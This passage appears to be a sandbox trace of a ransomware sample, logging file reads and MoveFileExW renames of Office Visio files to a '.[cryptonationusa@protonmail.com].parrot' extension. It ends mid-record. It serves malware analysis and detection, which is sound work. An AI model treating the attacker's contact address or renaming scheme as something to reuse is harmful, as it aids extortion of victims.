ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.458] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.459] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf800, lpOverlapped=0x0) returned 1 [0228.461] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.463] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ROAD_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\road_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ROAD_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\road_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.472] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.472] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.474] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.474] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x15800, lpOverlapped=0x0) returned 1 [0228.477] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ROAD_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\road_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ROAD_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\road_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.521] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.521] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.523] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.523] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5e00, lpOverlapped=0x0) returned 1 [0228.525] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM.XLS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.533] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.533] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.535] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.535] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbee00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbee00, lpOverlapped=0x0) returned 1 [0228.555] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.606] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.606] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.608] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.608] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbce00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbce00, lpOverlapped=0x0) returned 1 [0228.633] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.670] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.670] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.672] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.672] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3b200, lpOverlapped=0x0) returned 1 [0228.683] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDCALL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdcall_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDCALL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdcall_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.739] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.739] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.777] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.777] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x39800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x39800, lpOverlapped=0x0) returned 1 [0228.803] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.808] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDCALL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdcall_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDCALL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdcall_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.815] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.815] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.816] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.817] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x38c00, lpOverlapped=0x0) returned 1 [0228.827] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDCONT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdcont_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDCONT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdcont_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.841] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.842] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.849] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.849] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x37e00, lpOverlapped=0x0) returned 1 [0228.859] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.863] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDCONT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdcont_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDCONT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdcont_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.871] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.871] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.910] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.910] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16000, lpOverlapped=0x0) returned 1 [0228.918] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdl_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdl_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.932] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.932] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.933] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.933] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5c00, lpOverlapped=0x0) returned 1 [0228.935] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDL_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdl_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDL_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdl_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.944] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.944] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.954] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.954] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14e00, lpOverlapped=0x0) returned 1 [0228.957] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.961] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdl_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdl_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.969] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.969] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.971] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.971] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5c00, lpOverlapped=0x0) returned 1 [0228.973] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdl_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SDL_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sdl_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.980] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.980] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.982] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.982] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc200, lpOverlapped=0x0) returned 1 [0228.984] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SECACC_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\secacc_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SECACC_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\secacc_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0228.991] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0228.991] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0228.993] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.993] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc200, lpOverlapped=0x0) returned 1 [0228.995] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SECACC_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\secacc_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SECACC_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\secacc_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.001] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.001] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.003] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.003] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7b600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7b600, lpOverlapped=0x0) returned 1 [0229.013] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SERVER_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\server_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SERVER_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\server_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.041] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.041] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.043] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.043] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7aa00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7aa00, lpOverlapped=0x0) returned 1 [0229.060] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SERVER_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\server_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SERVER_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\server_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.133] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.133] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.144] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.145] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x42000, lpOverlapped=0x0) returned 1 [0229.159] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPMCH_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shpmch_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPMCH_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shpmch_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.179] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, 